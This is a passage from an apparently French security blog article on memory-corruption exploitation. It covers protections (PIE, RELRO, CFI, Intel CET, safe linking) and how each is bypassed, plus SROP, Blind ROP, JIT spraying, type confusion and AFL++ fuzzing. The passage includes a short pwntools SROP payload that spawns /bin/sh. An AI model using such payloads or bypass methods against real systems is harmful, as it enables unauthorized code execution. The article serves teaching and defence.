Bypass principal : le ROP (voir section 6). Autres approches : ret2mprotect (appeler mprotect() pour rendre une page exécutable, puis y injecter du shellcode), ret2dlresolve (exploiter le résolveur dynamique de la libc).
7.4 PIE (Position-Independent Executable)
PIE randomise l'adresse de base du binaire lui-même (pas seulement les bibliothèques). Avec PIE, les adresses du segment .text, du PLT et du GOT sont aléatoires. Sans PIE, seules les bibliothèques sont randomisées et le binaire est chargé à une adresse fixe (typiquement 0x400000 sur x86-64).
Bypass : nécessite une fuite d'adresse du binaire (pas de la libc). Un pointeur vers le code du binaire, une adresse de retour vers main(), ou un pointeur GOT peuvent servir à calculer la base PIE. Avec la base PIE, toutes les adresses du binaire sont calculables.
7.5 RELRO (Relocation Read-Only)
RELRO protège la GOT (Global Offset Table) contre les écritures. Deux niveaux :
- Partial RELRO (défaut) : la section .got.plt est en lecture-écriture. L'attaquant peut écraser les entrées GOT pour rediriger les appels de fonctions (GOT overwrite).
- Full RELRO (
-z relro -z now) : la GOT est résolue au chargement (lazy binding désactivé) et rendue en lecture seule. Les GOT overwrites deviennent impossibles. Coût : temps de chargement légèrement plus long.
7.6 CFI (Control-Flow Integrity) et Intel CET
Les protections les plus avancées visent à vérifier l'intégrité du flux de contrôle du programme :
- CFI (Control-Flow Integrity) : vérifie que les appels indirects (call via pointeur de fonction, appels virtuels C++) ciblent des destinations légitimes. Implémenté par Clang (-fsanitize=cfi) et GCC (-fcf-protection). LLVM CFI utilise des vérifications de type pour valider les cibles.
- Intel CET (Control-flow Enforcement Technology) : protection matérielle introduite avec les processeurs Intel Tiger Lake (11e gen). Deux composants :
- Shadow Stack : une pile secondaire en lecture seule qui stocke uniquement les adresses de retour. Au retour d'une fonction, le processeur compare l'adresse de retour de la stack normale avec celle de la shadow stack. Si elles diffèrent, une exception est levée. Cela neutralise les ROP chains classiques.
- IBT (Indirect Branch Tracking) : exige que les cibles de branches indirectes (call/jmp via registre) commencent par une instruction
ENDBRANCH. Les gadgets ROP ne commencent pas par ENDBRANCH, ce qui invalide la majorité d'entre eux.
Ces protections sont détaillées dans notre article sur l'exploitation du noyau Windows et le bypass KASLR, où les mécanismes matériels jouent un rôle critique.
7.7 Safe Linking (glibc 2.32+)
Le safe linking, introduit dans la glibc 2.32, protège les pointeurs fd des chunks libres dans les fast bins et le tcache. Au lieu de stocker le pointeur en clair, il est XORé avec l'adresse du chunk décalée de 12 bits : fd_protected = fd XOR (&chunk >> 12). Cela empêche le tcache poisoning direct sans une fuite préalable de l'adresse du heap. Pour exploiter le tcache avec safe linking, l'attaquant doit d'abord leaker un pointeur heap pour calculer le XOR correct.
8. Techniques modernes et frontières de la recherche
8.1 Sigreturn-Oriented Programming (SROP)
Le SROP, présenté par Bosman et Bos en 2014, est une évolution élégante du ROP qui exploite le mécanisme de gestion des signaux Unix. Lorsqu'un signal est délivré à un processus, le noyau sauvegarde l'état complet des registres sur la stack (dans une structure sigcontext). Au retour du signal handler, l'appel système rt_sigreturn restaure tous les registres depuis cette structure.
L'attaquant forge une fausse structure sigcontext sur la stack et déclenche rt_sigreturn via un gadget syscall. Le noyau restaure alors les registres avec les valeurs contrôlées par l'attaquant -- RIP, RSP, RDI, RSI, RDX, etc. -- en un seul appel système. L'avantage : un seul gadget (syscall; ret;) suffit pour configurer l'état complet du processeur, là où un ROP classique nécessiterait des dizaines de gadgets.
# SROP avec pwntools - très concis grâce à SigreturnFrame
from pwn import *
context.arch = 'amd64'
# Trouver le gadget syscall
syscall_ret = 0x401234 # adresse du gadget "syscall; ret"
# Construire le SigreturnFrame
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # numéro syscall execve
frame.rdi = binsh_addr # "/bin/sh"
frame.rsi = 0 # argv = NULL
frame.rdx = 0 # envp = NULL
frame.rip = syscall_ret # exécuter syscall
# Payload : déclencher rt_sigreturn puis charger le frame
payload = b'A' * offset
payload += p64(syscall_ret) # RIP -> syscall
payload += p64(constants.SYS_rt_sigreturn) # RAX = 15
payload += bytes(frame) # fausse structure sigcontext
8.2 Blind ROP (BROP)
Le Blind ROP (Bittau et al., 2014) permet d'exploiter un programme distant sans accès au binaire ni à la libc. La technique repose sur les fork servers : le processus enfant a le même espace mémoire que le parent. L'attaquant sonde les adresses une à une pour trouver des gadgets utilisables, en observant le comportement du programme (crash vs non-crash). Étapes : trouver un "stop gadget" (qui empêche le crash), scanner pour des gadgets pop; ret, localiser write() ou puts() pour dumper le binaire distant, puis construire un exploit ROP classique. Cette technique est particulièrement pertinente dans les scénarios de race conditions TOCTOU où le timing joue un rôle critique.
8.3 JIT Spraying
Le JIT Spraying exploite les compilateurs Just-In-Time (JavaScript V8, .NET CLR, Java HotSpot). L'attaquant écrit du code JavaScript contenant des constantes immédiates soigneusement choisies. Le JIT compiler les compile en code machine natif -- et ces constantes deviennent des instructions x86 valides lorsqu'elles sont interprétées à un offset décalé. Comme le code JIT est marqué exécutable (RWX), l'attaquant obtient l'exécution de code malgré DEP. Les moteurs JIT modernes (V8 TurboFan, SpiderMonkey IonMonkey) implémentent des contre-mesures : randomisation des constantes, blinding des immédiats, pages W^X, comme détaillé dans notre article sur la browser exploitation et sandbox escape V8.
8.4 Type Confusion
La type confusion survient lorsqu'un programme traite un objet d'un type comme s'il était d'un type différent. En C++, cela se produit typiquement avec des conversions de type erronées (static_cast incorrect, union avec accès au mauvais membre). En JavaScript (V8), les type confusions dans l'optimiseur JIT sont une source majeure de vulnérabilités exploitables. L'attaquant peut forger des pointeurs, lire/écrire de la mémoire arbitraire, et ultimement obtenir l'exécution de code. Les attaques par type confusion partagent des similitudes conceptuelles avec les techniques de désérialisation et gadgets où la manipulation de types est également centrale.
8.5 Fuzzing : trouver les bugs automatiquement
Le fuzzing (test par injection de données aléatoires ou mutées) est devenu la méthode principale pour découvrir des corruptions mémoire. Les fuzzers modernes, guidés par la couverture de code (coverage-guided fuzzing), génèrent des millions de cas de test par seconde et détectent les crashes qui indiquent des vulnérabilités potentielles :
- AFL++ (American Fuzzy Lop) : le fuzzer le plus populaire, utilise l'instrumentation de la compilation pour guider la génération d'inputs vers de nouveaux chemins de code. A découvert des centaines de CVE dans des logiciels majeurs (ImageMagick, PHP, SQLite).
- libFuzzer : fuzzer in-process intégré à LLVM/Clang. Fonctionne en instrumentant les fonctions individuellement, permettant un fuzzing ciblé très rapide. Intégré à Google OSS-Fuzz pour le fuzzing continu de projets open-source.
- honggfuzz : fuzzer de Google avec support hardware (Intel PT, Intel BTS) pour le feedback de couverture. Particulièrement efficace pour les binaires sans accès au code source.
- Sanitizers : AddressSanitizer (ASan), MemorySanitizer (MSan), UndefinedBehaviorSanitizer (UBSan) -- outils de compilation (GCC/Clang) qui détectent les corruptions mémoire à l'exécution avec un surcoût modéré (~2x). Indispensables pour le fuzzing efficace.
# Exemple : fuzzing d'une bibliothèque de parsing avec AFL++
# 1. Compiler avec instrumentation AFL++
afl-clang-fast++ -fsanitize=address -o parser_fuzz parser.c
# 2. Créer un corpus initial
mkdir -p corpus/
echo "test input" > corpus/seed.txt
# 3. Lancer le fuzzing
afl-fuzz -i corpus/ -o findings/ -- ./parser_fuzz @@
# 4. Triager les crashes
afl-tmin -i findings/crashes/id:000000 -o minimized.bin -- ./parser_fuzz @@
Le fuzzing a révolutionné la découverte de vulnérabilités. Google rapporte que plus de 40 000 bugs ont été trouvés via OSS-Fuzz dans plus de 1 000 projets. La combinaison fuzzing + sanitizers permet de détecter des corruptions mémoire subtiles qui échapperaient aux revues de code manuelles, comme les race conditions de type TOCTOU ou les bugs dans les gestionnaires de firmware décrits dans notre article sur les UEFI bootkits et la persistance firmware.
9. Conclusion : la mémoire, champ de bataille éternel
Les corruptions mémoire demeurent le socle de l'exploitation logicielle. Malgré plus de trois décennies de recherche, de protections matérielles (Intel CET, ARM PAC/BTI) et logicielles (ASLR, DEP, CFI, stack canaries, safe linking), la course entre attaquants et défenseurs continue. Chaque nouvelle protection engendre de nouvelles techniques de contournement, dans une spirale d'innovation qui pousse les deux camps à une sophistication croissante.
Les tendances actuelles dessinent un avenir à la fois prometteur et exigeant. L'adoption progressive de Rust pour les composants critiques (noyau Linux, Firefox, Android) élimine structurellement les corruptions mémoire dans le nouveau code. L'initiative Memory Safety de la Maison Blanche (ONCD, 2024) et l'appel de la CISA à abandonner les langages memory-unsafe accélèrent cette transition. Mais le legacy C/C++ restera présent pendant des décennies, et la recherche en exploitation continue de repousser les limites des protections existantes.
Pour les professionnels de la sécurité, la maîtrise des concepts présentés dans cet article -- stack frames, heap internals, ROP chains, protections et bypass -- constitue une compétence fondamentale. Que ce soit pour développer des exploits lors d'audits de sécurité, pour analyser des vulnérabilités dans le cadre de la veille (évasion EDR/XDR), ou pour durcir les systèmes contre ces attaques, la compréhension profonde de la mémoire et de ses corruptions reste irremplaçable. La théorie présentée ici doit être complétée par la pratique : les plateformes comme pwnable.kr, exploit.education (Phoenix, Protostar), ROP Emporium et les challenges CTF offrent des environnements sûrs et légaux pour développer ces compétences.
La corruption mémoire est simultanément la vulnérabilité la plus ancienne et la plus actuelle de la sécurité informatique. Elle survivra tant que des langages comme C et C++ seront utilisés pour écrire le code qui fait tourner le monde -- noyaux, firmware, bibliothèques système. Comprendre la mémoire, c'est comprendre les fondements de la sécurité des systèmes.
Besoin d'un audit de sécurité binaire ?
Nos experts réalisent des audits de sécurité approfondis incluant l'analyse de vulnérabilités mémoire, le fuzzing automatisé et la revue de code C/C++. Nous identifions et corrigeons les failles avant qu'elles ne soient exploitées.
Références et ressources externes
- CWE-120 : Buffer Copy without Checking Size of Input -- Classification officielle du buffer overflow classique
- CWE-416 : Use After Free -- Classification officielle du Use-After-Free
- ROP Emporium -- Exercices progressifs pour maîtriser le Return-Oriented Programming
- pwndbg -- Extension GDB pour l'exploitation et le reverse engineering
- pwntools -- Framework Python pour le CTF et le développement d'exploits
- AFL++ -- Fuzzer coverage-guided de référence pour la découverte de bugs mémoire
- ir0nstone's Notes -- Ressource complète sur l'exploitation binaire (stack, heap, format string, ROP)
